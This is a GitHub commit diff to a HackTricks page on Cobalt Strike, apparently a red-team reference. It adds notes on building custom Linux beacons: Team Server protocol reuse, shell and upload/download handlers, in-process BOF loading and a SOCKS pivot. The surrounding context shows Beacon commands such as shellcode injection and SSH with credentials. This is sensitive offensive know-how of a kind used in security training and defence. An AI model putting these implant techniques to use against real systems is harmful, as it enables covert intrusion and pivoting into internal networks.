Skip to content

Commit 9a50bbf

Browse files
authored
Merge pull request #1891 from HackTricks-wiki/update_Cobalt_Strike_Linux_Beacon_20260213_020348
Cobalt Strike Linux Beacon
2 parents ca98e91 + 1ce2fbd commit 9a50bbf

1 file changed

Lines changed: 31 additions & 4 deletions

File tree

src/windows-hardening/cobalt-strike.md

Lines changed: 31 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,11 @@ If you already has the file you want to host in a web sever just go to `Attacks
3838

3939
### Beacon Options
4040

41-
<pre class="language-bash"><code class="lang-bash"># Execute local .NET binary
41+
<details>
42+
<summary>Beacon options and commands</summary>
43+
44+
```bash
45+
# Execute local .NET binary
4246
execute-assembly </path/to/executable.exe>
4347
# Note that to load assemblies larger than 1MB, the 'tasks_max_size' property of the malleable profile needs to be modified.
4448

@@ -185,7 +189,18 @@ shinject <pid> x64 C:\Payloads\msf.bin #Inject metasploit shellcode in a x64 pro
185189
beacon> socks 1080
186190

187191
# SSH connection
188-
beacon> ssh 10.10.17.12:22 username password</code></pre>
192+
beacon> ssh 10.10.17.12:22 username password
193+
```
194+
195+
</details>
196+
197+
### Custom implants / Linux Beacons
198+
199+
- A custom agent only needs to speak the Cobalt Strike Team Server HTTP/S protocol (default malleable C2 profile) to register/check-in and receive tasks. Implement the same URIs/headers/metadata crypto defined in the profile to reuse the Cobalt Strike UI for tasking and output.
200+
- An Aggressor Script (e.g., `CustomBeacon.cna`) can wrap payload generation for the non-Windows beacon so operators can select the listener and produce ELF payloads directly from the GUI.
201+
- Example Linux task handlers exposed to the Team Server: `sleep`, `cd`, `pwd`, `shell` (exec arbitrary commands), `ls`, `upload`, `download`, and `exit`. These map to task IDs expected by the Team Server and must be implemented server-side to return output in the proper format.
202+
- BOF support on Linux can be added by loading Beacon Object Files in-process with [TrustedSec's ELFLoader](https://github.com/trustedsec/ELFLoader) (supports Outflank-style BOFs too), allowing modular post-exploitation to run inside the implant's context/privileges without spawning new processes.
203+
- Embed a SOCKS handler in the custom beacon to keep pivoting parity with Windows Beacons: when the operator runs `socks <port>` the implant should open a local proxy to route operator tooling through the compromised Linux host into internal networks.
189204

190205
## Opsec
191206

@@ -196,7 +211,6 @@ The **`execute-assembly`** uses a **sacrificial process** using remote process i
196211
- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
197212
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
198213
- In Cobalt Strike you can also use BOF (Beacon Object Files): [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
199-
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
200214

201215
The agressor script `https://github.com/outflanknl/HelpColor` will create the `helpx` command in Cobalt Strike which will put colors in commands indicating if they are BOFs (green), if they are Frok&Run (yellow) and similar, or if they are ProcessExecution, injection or similar (red). Which helps to know which commands are more stealthy.
202216

@@ -292,7 +306,6 @@ Moreover, sometimes to do a pass-the.hash or pass-the-ticket attack it's stealth
292306

293307
However, you need to be **careful with the generated traffic**, as you might be sending uncommon traffic (kerberos?) from your backdoor process. For this you could pivot to a browser process (although you could get caught injecting yourself into a process so think about a stealth way to do this).
294308

295-
```bash
296309

297310
### Avoiding AVs
298311

@@ -349,6 +362,9 @@ You could also check with functions are hooked with [**https://github.com/Mr-Un1
349362

350363

351364

365+
<details>
366+
<summary>Misc Cobalt Strike commands</summary>
367+
352368
```bash
353369
cd C:\Tools\neo4j\bin
354370
neo4j.bat console
@@ -371,5 +387,16 @@ pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
371387

372388
```
373389

390+
</details>
391+
392+
## References
393+
394+
- [Cobalt Strike Linux Beacon (custom implant PoC)](https://github.com/EricEsquivel/CobaltStrike-Linux-Beacon)
395+
- [TrustedSec ELFLoader & Linux BOFs](https://github.com/trustedsec/ELFLoader)
396+
- [Outflank nix BOF template](https://github.com/outflanknl/nix_bof_template)
397+
- [Unit42 analysis of Cobalt Strike metadata encryption](https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encryption-decryption/)
398+
- [SANS ISC diary on Cobalt Strike traffic](https://isc.sans.edu/diary/27968)
399+
- [cs-decrypt-metadata-py](https://blog.didierstevens.com/2021/10/22/new-tool-cs-decrypt-metadata-py/)
400+
- [SentinelOne CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser)
374401

375402
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)